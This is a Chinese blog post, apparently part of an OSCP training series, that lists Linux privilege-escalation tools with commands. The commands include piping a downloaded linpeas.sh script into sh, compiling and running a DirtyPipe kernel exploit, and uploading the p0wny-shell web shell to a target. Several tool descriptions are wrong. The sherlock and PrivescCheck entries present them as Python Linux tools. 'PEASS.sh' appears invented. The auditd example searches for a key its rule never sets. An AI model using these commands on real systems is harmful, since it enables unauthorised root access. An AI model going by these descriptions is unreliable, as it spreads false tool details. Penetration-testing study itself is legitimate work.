当前位置:首页>Linux>番外:6-这些Linux提权工具也超实用

番外:6-这些Linux提权工具也超实用

  • 2026-10-11 08:36:05
番外:6-这些Linux提权工具也超实用

本系列是《OSCP全维度通关特训辅导《OSCP必过18篇》》的番外篇,主要是拓展思路和视野,算是OSCP考试以外的知识,对于专心准备的同学可以重点学习《OSCP全维度通关特训辅导《OSCP必过18篇》》,本系列是课外参考哈

补充!除了常规枚举工具,这些Linux提权工具也超实用

在Linux提权场景中,除了前文提到的LinPEAS、LSE、LinEnum等核心枚举工具,还有一批针对性强、场景适配性更高的工具,能覆盖自动化枚举、漏洞利用、权限分析等不同维度的提权需求。本文整理了10款高频实用的补充工具,附核心功能和使用要点,帮你全方位提升提权效率。

一、自动化枚举类(补充版)

这类工具聚焦更细分的枚举场景,可作为LinPEAS等主力工具的补充,精准定位提权线索。

1. PEASS-ng(LinPEAS升级版)

  • • 核心优势:LinPEAS的同系列进阶工具,包含LinPEAS(Linux提权)、WinPEAS(Windows提权)、PEASS.sh(通用脚本),更新频率更高,新增容器、云环境(如AWS)提权枚举能力。
  • • 使用要点:
    # 下载并运行(支持更多输出格式)
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
    # 仅枚举容器相关提权线索

    ./linpeas.sh -c
  • • 适用场景:常规Linux提权+容器/云环境提权排查。

2. PrivescCheck

  • • 核心优势:轻量级Python脚本,专注提取易被忽略的提权细节(如SUID二进制文件的绝对路径、可写的systemd服务文件),输出结果结构化,便于快速筛选。
  • • 使用要点:
    # 基础枚举
    python3 PrivescCheck.py
    # 输出JSON格式(便于后续分析)

    python3 PrivescCheck.py -o json -f privesc_results.json
  • • 适用场景:需要结构化输出、精细化枚举的场景。

3. sherlock

  • • 核心优势:专为内核漏洞枚举设计,可自动检测系统内核版本、发行版,匹配Exploit-DB中的可用漏洞,并给出利用代码链接,比Linux Exploit Suggester更精准。
  • • 使用要点:
    # 克隆仓库并运行
    git clone https://github.com/rasta-mouse/sherlock.git
    cd
     sherlock
    python3 sherlock.py --kernel $(uname -r)
  • • 适用场景:快速定位可利用的内核漏洞,减少人工搜索成本。

二、漏洞利用类(直接落地提权)

这类工具聚焦“找到漏洞后快速利用”,覆盖内核漏洞、配置漏洞等常见提权场景。

1. exploitdb

  • • 核心优势:Exploit-DB的本地客户端(SearchSploit),可离线检索数万条漏洞利用代码,支持按内核版本、系统发行版、漏洞类型筛选,是内核漏洞利用的核心工具。
  • • 使用要点:
    # 安装(Kali自带,其他系统需手动装)
    sudo
     apt install exploitdb
    # 搜索Linux内核漏洞

    searchsploit linux kernel 5.4.0
    # 查看利用代码详情

    searchsploit -x linux/local/47168.c
  • • 适用场景:本地快速检索、下载漏洞利用代码。

2. DirtyPipe(CVE-2022-0847)利用工具

  • • 核心优势:针对DirtyPipe内核漏洞(Linux 5.8+版本)的专用利用工具,可快速实现提权,比通用内核漏洞工具更轻量化。
  • • 使用要点:
    # 下载利用脚本
    git clone https://github.com/AlexisAhmed/DirtyPipe-Exploit.git
    cd
     DirtyPipe-Exploit
    gcc dirtypipe.c -o dirtypipe
    ./dirtypipe
  • • 适用场景:目标系统为Linux 5.8+版本,快速利用DirtyPipe提权。

3. p0wny-shell

  • • 核心优势:轻量级Web Shell,若提权过程中发现开放的Web服务(如Apache、Nginx)且有写入权限,可上传该Shell,通过Web界面执行提权命令,规避命令行操作限制。
  • • 使用要点:
    # 上传p0wny-shell.php到Web根目录(如/var/www/html)
    curl -X POST -F "file=@p0wny-shell.php" http://目标IP/upload.php
    # 访问Web Shell:http://目标IP/p0wny-shell.php
  • • 适用场景:Web服务权限配置不当的提权场景。

三、进程/权限分析类

这类工具聚焦提权过程中的“动态监控”,捕捉易被静态枚举遗漏的提权线索。

1. strace

  • • 核心优势:系统调用跟踪工具,可监控进程的所有系统调用(如文件读写、权限切换),排查SUID程序、cron任务的执行逻辑,找到权限绕过/提权的突破口。
  • • 使用要点:
    # 跟踪指定进程(如cron进程)
    strace -p $(pidof cron)
    # 跟踪SUID程序的执行过程

    strace ./suid_binary
  • • 适用场景:分析可疑进程的执行逻辑,定位权限漏洞。

2. auditd

  • • 核心优势:Linux审计系统,可配置规则监控敏感操作(如SUID文件执行、sudo命令调用、/etc/passwd修改),适合长期监控或事后溯源提权行为。
  • • 使用要点:
    # 启用auditd
    sudo
     systemctl start auditd
    # 添加监控规则:监控所有SUID文件执行

    sudo
     auditctl -a exit,always -F arch=b64 -S execve -F perm=x -F auid>=1000
    # 查看审计日志

    ausearch -k suid_exec
  • • 适用场景:运维侧监控提权风险,或渗透测试中溯源提权线索。

3. lsof

  • • 核心优势:列出打开的文件和进程关联关系,可发现root进程打开的可写文件、未授权访问的网络套接字,补充静态文件权限检查的不足。
  • • 使用要点:
    # 查看root进程打开的所有文件
    lsof -u root
    # 查看指定端口对应的进程(发现隐藏服务)

    lsof -i :8080
  • • 适用场景:排查进程与文件/端口的关联,找到权限配置漏洞。

4. capsh

  • • 核心优势:Linux能力(Capabilities)分析工具,可检查进程的特殊权限(如CAP_SETUID、CAP_CHOWN),这类权限常被忽略但可直接用于提权。
  • • 使用要点:
    # 查看当前进程的能力
    capsh --print
    # 检查指定进程的能力(如PID=1234)

    getpcaps 1234
  • • 适用场景:分析进程的特殊权限,利用Capabilities提权。

四、工具使用小贴士

  1. 1. 工具组合策略:主力用LinPEAS做全量枚举,sherlock定位内核漏洞,strace分析可疑进程,形成“枚举-定位-验证”闭环;
  2. 2. 轻量化优先:受限环境(无Python、无网络)优先选Bash脚本(如LSE、linpeas.sh),避免依赖缺失;
  3. 3. 合规前提:所有工具仅用于授权的渗透测试/运维排查,禁止未授权使用。

这些补充工具覆盖了枚举、利用、分析等提权全流程,可根据目标系统的环境(如是否有网络、是否支持Python、内核版本)灵活选择,大幅提升提权成功率。

最新文章

随机文章